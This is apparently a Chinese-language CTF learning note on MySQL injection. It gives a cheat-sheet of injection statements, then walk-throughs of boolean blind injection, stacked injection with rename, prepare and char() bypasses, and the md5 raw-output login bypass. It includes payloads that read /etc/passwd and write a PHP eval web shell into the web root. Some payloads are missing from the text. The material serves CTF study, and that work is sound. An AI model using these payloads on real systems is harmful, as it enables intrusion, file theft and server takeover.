0×00:前言
對於MYSQL知識的一個初總結
0×01:正文
MYSQL資料庫特性
1。Mysql資料庫預設不區分大小寫,利用此特性可以進行大小寫過正則匹配,舉個簡單的例子,有的題目中只過濾了select,那麼我們可以用Select進行繞過。
2。mysql預設埠3306
3。mysql各個資料庫的作用
(1)information_schema:
此資料庫是一個資訊資料庫,儲存了所有資料庫的資訊。
常用SQL注入語句
1。顯示當前使用者:select user();(current_user)
2。顯示當前資料庫版本:select version();
3。顯示當前資料庫名:select database();show databases;4。爆破欄位數: order by5。檢視顯示位:select 1,2,3,4,5
6。聯合查詢:union select 1,2,3,4,5
7。查詢資料庫名:select group_concat(schema_name) from information_schema。schemata8。查詢資料表名:select group_concat(table_name) from information_schema。tableswhere table_schema=‘庫名’
9。查詢欄位名:select group_concat(column_name) from information_schema。columnswhere table_name=‘表名’
10。讀取特定行:select * from mysql。user limit n,m
11。讀取檔案:select load_file(‘/etc/passwd’)
12。寫入檔案:select ‘<?php @eval($_POST[a]);?>’ into outfile ‘/var/www/html/a。php’13。判斷此處有無注入點:利用and1=1和and1=2來進行分析
14。猜解表名:and (Select Count(*) from [表名])>=0
15。猜解欄位名:and (Select Count([欄位名]) from [表名])>=0
16。猜解欄位的長度:and (select top 1 len(欄位名) from 資料庫名)>017。建立一個數據庫:create database ybyy;
18。建立一個帶字元的型別的資料庫:create database mydb2 CHARACTER SET=utf8;19。刪除資料庫:DROP DATABASE ybyy;
20。修改資料庫編碼:ALTER DATABASE ybyy character set gbk;
21。選擇資料庫:use database;
22。查看錶結構:desc tablename;
23。檢視資料庫建立語句:show create database databasename;24。檢視系統使用者名稱:system_user()
25。檢視連線資料庫的使用者名稱session_user()
26。讀取資料庫路徑:@@datadir
27。讀取安裝路徑:@@basedir MYSQL
28 作業系統:@@version_compile_os
0×02:盲注
什麼叫盲注?
不會返回資料庫內建的報錯資訊。而這些報錯資訊是我們普通SQL注入漏洞判斷的依據。我們無法依據伺服器的返回值來判斷,我們可以依據兩次執行的差距來判斷,可以依據基於邏輯的真假來判斷。
[極客大挑戰 2019]FinalSQL
題目給了提示,python寫sql盲註腳本
點選1:
可以看到這裡是有waf的!
在這裡在測試一下id=0
在這裡就可以判斷為布林盲注。測了一下,這道題可以用異或注入來做。這裡先來簡單講一下,1^0=11^1=0下面直接上payload:
利用二分法指令碼來題提升盲注速度,因為後期中很多題型都需要到二分法爆破指令碼,因此在這裡解釋的詳細一點,以後的二分法指令碼便不作詳細解釋。二分法:顧名思義,即為一分為二的方法。把答案所在的區間逐漸縮小,直到區間內有一次正確答案,就可以跳出一次迴圈。
在sql注入中,我們經常使用ASCII來對其進行便利,因此我們一般設定最大最小low=32,high=128。設定這兩個值是因為在這期間基本包含了sql注入中password欄位,但是也不免會有一些出題人喜歡出稀奇古怪的題目,這種題目我們不便理會。使用二分法來進行爆破的原因是:二分法比普通遍歷效率要高很多。原理:每次爆破都是區間的中間值,如果中間值大於給定數字,那麼下次爆破就是前半部分的中間值數字;如果中間值小於給定數字,下次就爆破後半部分的中間值數字。
那麼接下來就可以分析一下EXP了:
[BJDCTF 2nd]
現在的BUU已經禁止掃描了,只能用常用的目錄自己測試,這裡測試robots。txt出現了提示
接著進入hint。txt中
這裡我們構造:select * from users where username = ‘admin’ and password = ‘or 0#’
發現這裡也是You konw ,P3rh4ps needs a girl friend接著我們構造:
payload:select * from users where username = ‘admin’ and password = ‘or 1# ’
我們可以這樣理解:
select * from users where username = ‘admin and password=’ 注入程式碼#‘這樣就實現了’的逃逸
那麼之後再加上regexp就可以寫盲註腳本了:
發現這裡跑出了密碼,輸入用名和密碼拿到flag
0×03:堆疊注入
堆疊注入的定義stacked injections ,顧名思義,就是多條語句一起執行。
堆疊注入的原理在SQL語句中,分號(;)代表著一句sql語句的結束,如果;後面緊接著一條語句,那麼是會一起執行的。但是堆疊注入的成功執行是需要很多條件的,一方面是API介面與資料庫引擎不支援的限制,還有一方面是許可權的限制。
堆疊注入與Union聯合注入是不同的,union後面的語句只能是用來執行查詢語句,但是堆疊注入後面可 以執行任意語句。堆疊查詢的解法有三種,下面在題目中會一一講到。
[強網杯 2019]
隨便注開啟題目,出現此頁面
先來手測一下:payload:1‘ or 1=1#!
利用萬能密碼,發現是可以出東西的。接下來我們先用order by 測一下此資料庫有多少列payload:1’ order by 1#
這裡發現了,是有兩列資料。根據做題的思路,下面要檢視哪個是顯示位:payload:1‘ union select 1,2#
這裡發現了過濾的函式:
return preg_match(“/select|update|delete|drop|insert|where|\。/i”,$inject);
做到這裡就知道是堆疊注入了,因為Rename,PREPARE,set等函式均未被過濾。
下面我們來嘗試堆疊注入:payload:1’;show databases;#
可以發現是可以查詢出資料庫的,接下來又是走流程:payload:1‘;show tables;#
得到了兩個表:1919810931114514和words 先檢視words表中的內容payload:1’; show columns from words; #
繼續查詢另外一個表:payload:1‘; show columns from 1919810931114514 ; #
可以發現這裡有flag欄位。但是前面已經爆了,select等函式均不可使用,需要繞過,再寫繞過之前,這 裡先插入一個知識點:為什麼mysql資料庫中要用``(反引號)。
mysql中``用法
在linux中是不區分``和’‘的區別的,但是在windows中區分,這裡可以發現,payload:1’; show columns from 1919810931114514; # 是沒有回顯的。
這裡來說明一下原因:在mysql中查詢純數字和關鍵字的列名、表名時必須加
純數字也是同理,show columns from 1919810931114514也是不會出結果的。這裡也提示大家做列名和表名的時候不能用mysql中的關鍵字。
堆疊注入解題的三種姿勢可以看到1919810931114514這個表中有flag欄位,我們接下來的任務就是要如何檢視flag欄位中的內容。
第一種姿勢:
重新命名payload:
這個的解釋就是:
把原本words表重新命名為web_ybyy表名,把1919810931114514改成words名,之後 利用alter table 修改words原本的表結構,最後利用show columns from words;進行輸出。最後利用萬能公式出flag:payload:1‘ or 1=1#
第二種姿勢:
預處理繞過selectPrepared Statements 的作用:當某一條語句反覆被運用的時候,預先編譯好會加快 執行速率。一次編譯,多次執行,當然在這裡主要還是為了繞過select函式 語法:定義預處理:PREPARE 定義的名字 from 要定義的語句執行:
EXECUTE 定義的名字 payload:
預編譯的第二種方式:
利用char()對select進行繞過,在mysql中 char(115,101,108,101,99,116)——->select payload:
0×04:其他sql注入與md5的組合
這類題是套路題,突破點在於sql查詢的一條語句: 可以看到pass欄位做了md5加密,sql注入的靈魂在於如何閉合,這類題也不例外。ctfshow web9:首先利用dirsearch進行目錄掃描
提示了index。phps,我們把它下載下來
這個就是原始碼了
其他sql注入與md5的組合
`mysql_num_rows() 返回結果集中行的數目,這裡判斷大於0可過check主要點在這裡, password =’“。md5($password,true)。”‘“;
md5()函式兩個引數:TRUE - 原始 16 字元二進位制格式FALSE - 預設。32 字元十六進位制數,這裡我們進行了測試
payload1:129581926211651571912466741651878684928
payload2:
username =’admin‘ and password =‘ ’or ’xxxxx‘構造成這個型別的語句就可過check直接打,出flag
0×05:總結
MYSQL注入bypass方式太多,大賽能學習到很多繞過姿勢。慢慢收集整理吧。